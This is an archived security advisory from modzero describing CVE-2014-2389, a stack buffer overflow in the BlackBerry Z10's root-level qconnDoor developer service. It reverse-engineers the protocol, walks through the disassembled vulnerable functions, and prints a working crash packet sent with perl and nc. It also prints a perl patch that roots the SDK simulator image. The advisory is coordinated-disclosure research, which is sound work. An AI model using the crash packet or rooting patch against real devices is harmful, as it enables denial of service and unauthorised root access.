[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

BlackBerry Z 10 - Buffer Overflow in qconnDoor [MZ-13-05]



---------------------------------------------------------------------

modzero Security Advisory:
BlackBerry Z 10 - Buffer Overflow in qconnDoor [MZ-13-05]

---------------------------------------------------------------------

---------------------------------------------------------------------

1. Timeline

---------------------------------------------------------------------

 * 2013-06-23: Vendor has been contacted.
 * 2013-06-24: Vendor response.
 * 2013-06-27: Vendor meeting and information exchange.
 * 2013-08-20: Advisory and more details sent to the vendor.
 * 2013-10-15 or after patch-release: Advisory will be published.
 * 2013-12-05: Vendor requested delay of release, until a high level
               of carrier uptake has been achieved
 * 2014-01-14: Vendor announced release in March 2014
 * 2014-04-01: Vendor achieved sufficient customer availability for
               this issue and announced release on April 8th, 2014.
 * 2014-04-08: Release of security advisory in cooperation with
               vendor.

---------------------------------------------------------------------

2. Summary

---------------------------------------------------------------------
Vendor: BlackBerry
Products known to be affected: Blackberry Z10
   (model STL100-2, Software release: 10.1.0.2312,
   OS version: 10.1.0.2354, Build ID: 524717)

Severity: Medium
Remote exploitable: Yes
CVE: CVE-2014-2389

qconndoor  is  a  network  service, running  on  the  Blackberry  Z10
to  allow developers  to  access the  device  using BlackBerry's  SDK
tool-chain. The qconndoor process is used  to e. g. enable SSH access
to  the device;  More functionality  is  not documented  yet and  may
remain proprietary.  Even though  the service  is intended  for being
used by  software developers  in the Blackberry  developer-mode only,
the  service is  still running,  even  if the  developer-mode is  not
enabled. The  qconndoor process  is executed  under super-user  UID 0
(root) privileges.

modzero  identified a  stack-based buffer  overflow in  the qconnDoor
service that  can be  triggered by  an unauthenticated  attacker. The
buffer overflow  issue can only  be triggered, if  the developer-mode
has been  activated once  during runtime and  can still  be triggered
when  the developer-mode  has been  turned off.  Since the  developer
service  is exposed  to the  (wireless)  network and  the service  is
running  with administrative  privileges,  the risk  of a  successful
exploitation  is considered  high after  the developer-mode  has been
turned on and off during runtime once.

Even if exploit mitigations at first  prevent a code execution, it is
still possible  to modify  data variables  in the  affected services,
which is a high risk, too.

---------------------------------------------------------------------

3. Details

---------------------------------------------------------------------

To overflow the stack-buffer in qconnDoor,  an attacker has to send a
single specially crafted  packet with any command  code that triggers
AES-decryption of the data payload (for example, command code #7). By
specifying an invalid combination  of encrypted and decrypted payload
lengths,  the decryption  routine  will  write past  the  end of  the
decrypted  plaintext buffer.  qconnDoor  will terminate  immediately,
because  processing the  packet causes  a modification  of the  stack
cookie, which the process detects.

$ perl -e 'print "\x00\x2a\x00\x02\x00\x07\x12\x00\x0c\x00" . "\x41" x 0xc00' |
nc target.host 4455

Analysis:

To  understand and  estimate  the impact  and  exploitability of  the
service, different  executables were  examined to  obtain information
about  payload   structure  and  program-flow.  First   of  all,  the
blackberry-connect utility from the  Blackberry Java SDK was analyzed
to obtain information  about the protocol format  and data structure.
Secondly, the  qconnDoor executable of the  x86 emulation environment
has  been analyzed,  to gather  information about  internal code-flow
and  data-structures  - assuming,  that  both  executables are  based
on  the  same or  similar  source-code.  The  findings were  used  in
a  third,  empirical  test  to  reproduce the  issue  and  the  build
a  proof-of-concept   procedure  to  verify  the   existance  of  the
memory-corruption. These  steps are described  in more detail  in the
following sections.

3.1 Static Analysis of blackberry-connect (Java, from BB SDK)

The        BB10         SDK        was         installed        using
installer-bbndk-bb10_1_x-linux-1020-201303191709-201303191501.bin
(MD5:  6c295359827636f0425e8bff73baee52). The  Eclipse workbench  was
updated  to the  most  recent  version of  the  pubic  SDK for  being
in  sync  with the  simulator  (BlackBerry  Native SDK  10.1.0.2354).
The directory  $HOME/bbndk/host_10_1_0_235/linux/x86/usr/lib contains
multiple   jar   files,   which    implement   the   client-side   of
the  qconnDoor   network  protocol.  In   particular,  jqconnDoor.jar
(MD5:  d8c93abceeb84b6bf3858d00982efccd)   was  decompiled   to  gain
understanding  of the  qconnDoor  protocol.  The following  qconnDoor
messages could be reverse-engineered:

Definition of data types:
    short    16 bit integer in network byte order (big endian)
    long    32 bit integer in network byte order (big endian)
    bytes    sequence of bytes with variable length
    IV    16 bytes AES initialization vector

Message: hello
    short    6    packet length
    short    2    protocol version
    short    1    command code

Message: feedback
    short    ?    packet length
    short    2    protocol version
    short    2    command code
    short    ?    feedback code
    short    ?    length of feedback message in bytes
    bytes    ?    feedback message

Message: challenge request
    short    ?    packet length
    short    2    protocol version
    short    3    command code
    short    ?    length of rsapubkey
    bytes    ?    rsapubkey

Message: encrypted challenge response
    short    ?    packet length
    short    2    protocol version
    short    4    command code
    bytes    ?    ? opaque challenge data, possibly encrypted to previously sent
rsapubkey

Message: decrypted challenge response
    short    ?    packet length
    short    2    protocol version
    short    5    command code
    short    ?    encrypted length
    short    ?    decrypted length
    IV    ?    initialization vector
    bytes    ?    encrypted data

Message: plaintext of encrypted data (AES-CBC with PKCS5 padding):
    short    ?    4 + decrypted blob length + signature length
    short    ?    decrypted blob length
    short    ?    signature length
    bytes    ?    decrypted blob
    bytes    ?    signature

Message: keepalive
    short    6    packet length
    short    2    protocol version
    short    6    command code

Message: send ssh key
    short    ?    packet length
    short    2    protocol version
    short    7    command code
    short    ?    encrypted length
    short    ?    decrypted length
    IV    ?    initialization vector
    bytes    ?    encrypted data

Message: plaintext of encrypted data (AES-CBC with PKCS5 padding):
    short    ?    key length
    bytes    ?    key

Message: authenticate challenge request
    short    6    packet length
    short    2    protocol version
    short    8    command code

Message: authenticate challenge response
    short    ?    packet length
    short    2    protocol version
    short    9    command code
    long    ?    algorithm
    long    ?    iterations
    char    ?    salt length
    char    ?    challenge length
    bytes    ?    salt
    bytes    ?    challenge

Message: authenticate
    short    ?    packet length
    short    2    protocol version
    short    10    command code
    short    ?    encrypted length
    short    ?    decrypted length
    IV    ?    initialization vector
    bytes    ?    encrypted data

Message: plaintext of encrypted data (AES-CBC with PKCS5 padding):
    short    ?    hash length
    bytes    ?    hash

Message: start service
    short    6    packet length
    short    2    protocol version
    short    11    command code

Message: close
    short    6    packet length
    short    2    protocol version
    short    12    command code

The qconnDoor protocol messages  contain many redundant length-fields
which need to be validated by  the recipient of the packet. This type
of  protocol  implementation is  highly  prone  to length  validation
issues.

For example,  a very obvious  flaw is that the  qconnDoor server-side
sometimes  sends   wrong  packet   length  fields.   These  malformed
data-packets however,  are processed by the  client correctly without
ending  in undefined  states or  termination of  the process,  due to
side-effects of the network-client implementation.

The fact that qconnDoor runs  with root priviledges, makes the server
process a worthwhile target.

3.2 Static Analysis of qconnDoor (x86, simulator)

Since binary x86 code is more convenient to reverse-engineer than ARM
code and  all qconnDoor binaries  seem to  be compiled from  the same
source-code-base, the one from  the simulator was statically analyzed
in the following step.

Simulator                                                         VM:
BlackBerry10Simulator-Installer-BB10_1_X-1483-Linux-201304131554.bin
(MD5: db20e8151ece5a88f8b70d016e54df3f). The  simulator was rooted by
patching the  VM disk image,  resulting in  a setuid 0  (root) binary
(/tmp/setuidgid) that can be used to locally elevate privileges:

# patch vmdk disk image
perl  -i.backup -0777 -pe
's/\x69\x66\x20\x5b\x20\x22\x24\x7b\x42\x4f\x41\x52\x44\x5f\x43\x4f\x4e\x46\x49\x47\x7d\x22\x20\x21\x3d\x20\x22\x64\x65\x76\x65\x6c\x6f\x70\x65\x72\x22\x20\x5d\x3b\x20\x74\x68\x65\x6e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x72\x6d\x20\x2d\x72\x66\x20\x2f\x72\x6f\x6f\x74\x2f\x2e\x20\x3e\x20\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x3b\x0a\x20\x20\x20\x20\x66\x69\x3b/\x63\x70\x20\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x65\x74\x75\x69\x64\x67\x69\x64\x20\x2f\x74\x6d\x70\x20\x26\x26\x20\x63\x68\x6d\x6f\x64\x20\x36\x37\x35\x35\x20\x2f\x74\x6d\x70\x2f\x73\x65\x74\x75\x69\x64\x67\x69\x64\x3b\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20/g'
 BlackBerry10Simulator-s001.vmdk

Using root access  in the emulator, many binaries  could be extracted
from  the   simulator's  file   system,  including   qconnDoor  (MD5:
1dc6f998eaa4cd60653c1fe0df9a78b7).  Afterwards,  qconnDoor  has  been
analyzed in IDA Pro with the intention to find bugs in message length
validation checks.

The binary did not contain symbols. Thus, function names are invented
by the analyst. Notable functions are:

.text:00003E4B get_byteswapped_enc_header
[esp]    char *raw_packet
[esp+4]    struct enc_header *decoded_packet

The   function   expects   encrypted/plaintext  length   fields,   an
initialization  vector  (IV)  followed   by  encrypted  data  in  the
raw_packet   buffer.  The   function   copies  all   fields  to   the
decoded_packet  structure  and  performs endianess  conversion  where
necessary. At addresses 0x3e87  and following, it contains arithmetic
instructions operating on field lengths. This might be the remains of
an optimized-out length validation check.

.text:00003E9A recv_exact_and_decrypt
eax    connection_struct *conn
edx    char *plaintextbuf
[esp]    plaintextbuflen
[esp+4]    rawpayloadlen
[esp+8]    resultlenptr

This function  reads rawpayloadlen bytes  (at least 24 bytes,  but no
more than 4090  bytes) from the network into a  4096 bytes long local
buffer.  The function  calls get_byteswapped_enc_header  to interpret
the fixed header fields of the raw packet data. It validates that the
length of  decrypted data  (as specified  in the  packet) is  less or
equal  than plaintextbuflen  (at  address  0x3ff6). Furthermore,  the
function  prepares an  AES context  (exact conditions  when this  may
fail  are not  understood)  and  uses an  unvalidated  length of  the
encrypted data as  specified in the packet as an  argument to the AES
decryption function _hu_AESDecrypt(), decrypting raw packet data into
plaintextbuf (at address 0x3f7e). Thus, when length of encrypted data
is larger  than plaintextbuflen, the  decrypted data will  be written
past the end of plaintextbuf, which results in a memory-corruption.

.text:00004011 receive_command
[esp]    struct connection_struct *connection
[esp+4]    struct packet_header *headerbuf
[esp+8]    char *databuf
[esp+12]    int databuflen

At the  beginning, the function reads  the common 6 byte  long packet
header from the  network into databuf. When the command  code is 6, 7
or 10,  recv_exact_and_decrypt is called with  plaintextbuf = databuf
and plaintextbuflen  = databuflen  (at addresses 0x4158  and 0x41c0).
Thus, when receive_command encounters a packet with command code 6, 7
or 10, decrypted data may be written past databuf + databuflen.

.text:0000422D qconndoor_accept

stack of function:
-00001140 var_1140        dd ?
-0000113C var_113C        dd ?
-00001138 headerbuf       packet_header ?
-00001120 len             dd ?
-0000111C buf             db 4096 dup(?)
-0000011C s               db 256 dup(?)
-0000001C canary          dd ?
-00000018 var_18          db 24 dup(?)
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 connection      dd ?                    ; offset

The function calls receive_command to acquire an initial hello packet
with databuf  = buf and databuflen  = 4096. Thus, when  a packet with
command code 6, 7 or 10  is encountered (instead of hello packet) and
the length of encrypted data in packet  is larger than 4096 + 256 + 4
+  24  +  4  =  4384,  a buffer  overflow  may  occur  and  the  code
overwrites the  return address. This  overflow will be  detected when
the stack-canary is validated on  function return. When the length of
encrypted data in the packet is  between 4096 and 4352 the variable s
will be  overwritten. This  seems to  have no  malicous consequences,
because  the data  written  into  s due  to  the  buffer overflow  is
subsequently never used, but overwritten by a call to sprintf()).

.text:00003284 big_receive_switch

stack of function:
-00001174 data_ptr        dd ?
-00001170 rtas_key_or_errmsg dd ?
-0000116C _connection     dd ?                    ; offset
-00001168 algo_iter_salt  algo_iter_salt ?
-00001150 decoded_packet_header packet_header ?
-00001138 challenge_length dd ?
-00001134 buf             db 4096 dup(?)
-00000134 challenge       db 280 dup(?)
-0000001C canary          dd ?
-00000018 var_18          db 24 dup(?)
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 connection      dd ?                    ; offset

The main  loop that receives  packets after an initial  hello message
was processed in qconndoor_accept. The function calls receive_command
to acquire packet data with databuf = buf and databuflen = 4096. When
a packet with command  code 6, 7 or 10 is  encountered and the length
of encrypted data in packet is larger than 4096  + 280 + 4 + 24 + 4 =
4408, a buffer overflow may  occur and overwrites the return address.
This  overflow will  be  detected  when the  canary  is validated  on
function return. When  the encrypted length is between  4096 and 4376
the  buffer  "challenge"  will  be overwritten.  How  this  may  have
malicous effects  is not understood,  because "challenge" is  used in
calls to undocumented external functions.

Conclusion:

All qconnDoor  messages seem to  be received via  the receive_command
function, which  in turn calls the  vulnarable recv_exact_and_decrypt
whenever the command code is 6, 7  or 10. Depending on the exact code
path, a  stack-based buffer  overflow overwriting the  return address
may occur when  the length of encrypted data in  the packet is larger
than 4384 or 4408 bytes.  AES encrypted messages are exchanged during
normal operation of the qconnDoor protocol. Therefore, program states
must exist  where the  vulnerable code path  is traversed.  The exact
conditions where  the vulnerable code  path is not taken  are unknown
because external libraries are involved.

To empirically verify the presence of this bug, the following "deadly
packet" was conceived:

Data     Description
00 2a    packet length (42, completely bogus but large enough to
         contain all relevant header fields)
00 02    protocol version
00 07    command code
12 00    encrypted length (4608, large enough to trigger the bug and
         overwrite return address)
0c 00    decrypted length (3072, small enough to pass the check in
         recv_exact_and_decrypt)
??...??  initialization vector
??...??  data

3.3 Empirical Testing Using the Deadly Packet

3.3.1 Unmodified simulator (i.e. not rooted, no changes after installation):

Step 1: Connect once with blackberry-connect and terminate connection again

$ bbndk/host_10_1_0_235/linux/x86/usr/bin/blackberry-connect 192.168.149.128
-sshPublicKey ~/.rim/bbt_id_rsa.pub
Info: Connecting to target 192.168.149.128:4455
Info: Authenticating with target 192.168.149.128:4455
Info: Encryption parameters verified
Info: Sending ssh key to target 192.168.149.128:4455
Info: ssh key successfully transferred.
Info: Successfully connected. This application must remain running in order to
use debug tools. Exiting the application will terminate this connection.
^C

Step 2: Send deadly packet

$ perl -e 'print "\x00\x2a\x00\x02\x00\x07\x12\x00\x0c\x00" . "\x41" x 0xc00' |
nc 192.168.149.128 4455

Result: qconnDoor stopped working

$ nc -v 192.168.149.128 4455
nc: connect to 192.168.149.128 port 4455 (tcp) failed: Connection refused

3.3.2 Unmodified simulator, same as above but with device password set:

Step 1: Connect with blackberry-connect, this will fail due to the unknown password

$ bbndk/host_10_1_0_235/linux/x86/usr/bin/blackberry-connect 192.168.149.128
-sshPublicKey ~/.rim/bbt_id_rsa.pub
Info: Connecting to target 192.168.149.128:4455
Info: Authenticating with target 192.168.149.128:4455
Info: Encryption parameters verified
Error: The device password is set on the device. You must provide the device
password in order to authenticate, or clear the password on the device.

Step 2: Send deadly packet

$ perl -e 'print "\x00\x2a\x00\x02\x00\x07\x12\x00\x0c\x00" . "\x41" x 0xc00' |
nc 192.168.149.128 4455

Result: qconnDoor stopped working

$ nc -v 192.168.149.128 4455
nc: connect to 192.168.149.128 port 4455 (tcp) failed: Connection refused


3.3.3 BlackBerry Z10 with developer-mode activated

For  this  test,  the  Z10  is   a  client  in  a  wireless  network.
The  developer-mode  was  activated.   According  to  the  "Developer
Mode"  settings dialog,  the "Developer  IP Address"  is 169.254.0.1.
Nevertheless, the attacker's host is a wireless participant, too, and
has a different IP address.

Step 1: Check availability of the service:

$ nc -v 10.0.0.121 4455
Connection to 10.0.0.121 4455 port [tcp/*] succeeded!

Step 2: Connect with blackberry-connect, this will fail due to the unknown password:

$ /opt/bbndk/host_10_1_0_132/linux/x86/usr/bin/blackberry-connect 10.0.0.121
-password 'wrong' -sshPublicKey id_rsa.pub
Info: Connecting to target 10.0.0.121:4455
Info: Authenticating with target 10.0.0.121:4455
Info: Encryption parameters verified
Info: Authenticating with target credentials.
Error: Connection refused: The device password you provided is incorrect.

Step 3: Disable developer-mode

This step can be omitted.

Step 4:  Send deadly packet

$ perl -e 'print "\x00\x2a\x00\x02\x00\x07\x12\x00\x0c\x00" . "\x41" x 0xc00' |
nc 10.0.0.121 4455

Step 5: Check availability

$ nc -v 10.0.0.121 4455
nc: connect to 10.0.0.121 port 4455 (tcp) failed: Connection refused

Result:

Running  blackberry-connected  even  with   an  invalid  password  is
required  in  order  to   initilize  communication  functionality  in
qconnDoor.  Therefore,   the  developer-mode   has  to   be  enabled.
Afterwards, the developer-mode  is not necessary and  may be disabled
again. After sending the deadly  packet, the qconnDoor service is not
available anymore.

The qconnDoor TCP  port is even accessible from hosts  other than the
"Developer IP Address" and even if the developer-mode is disabled.


---------------------------------------------------------------------

4. Impact

---------------------------------------------------------------------

The stack-based buffer overflow results in a memory-corruption, which
may result  in remote code execution.  Countermeasures against buffer
overflows  such  as  Address  Space Layout  Randomization  and  stack
cookies mitigate an easy exploitation. Since there is another variable
stored in  the stack frame  of the  affected function, at  least this
variable  can be  modified,  too. It  is not  known  if the  affected
variable that can be overwritten is actually used afterwards.

---------------------------------------------------------------------

5. Workaround

---------------------------------------------------------------------

To defeat  the above described  attack, the developer-mode  should be
disabled. Other workarounds are not known.

---------------------------------------------------------------------

6. Fix

---------------------------------------------------------------------

Vendor provided bugfix.

---------------------------------------------------------------------

7. Credits

---------------------------------------------------------------------

 * David Gullasch (dagu@xxxxxxxxxx)
 * Max Moser (mmo@xxxxxxxxxx)
 * Martin Schobert (martin@xxxxxxxxxx)

---------------------------------------------------------------------

8. About modzero

---------------------------------------------------------------------

The  independent  Swiss  company  modzero  AG  assists  clients  with
security analysis  in the complex  areas of computer  technology. The
focus  lies  on  highly  detailed  technical  analysis  of  concepts,
software  and  hardware components  as  well  as the  development  of
individual solutions.  Colleagues at  modzero AG work  exclusively in
practical, highly  technical computer-security areas and  can draw on
decades  of experience  in  various platforms,  system concepts,  and
designs.

http://modzero.ch

contact@xxxxxxxxxx

---------------------------------------------------------------------

9. Disclaimer

---------------------------------------------------------------------

The information  in the advisory  is believed  to be accurate  at the
time of publishing  based on currently available  information. Use of
the information constitutes acceptance for use in an AS IS condition.
There are no warranties with  regard to this information. Neither the
author  nor  the publisher  accepts  any  liability for  any  direct,
indirect, or  consequential loss  or damage arising  from use  of, or
reliance on, this information.

---------------------------------------------------------------------

See also:
http://www.modzero.ch/advisories/MZ-13-05-Blackberry_Z10-qconnDoor.txt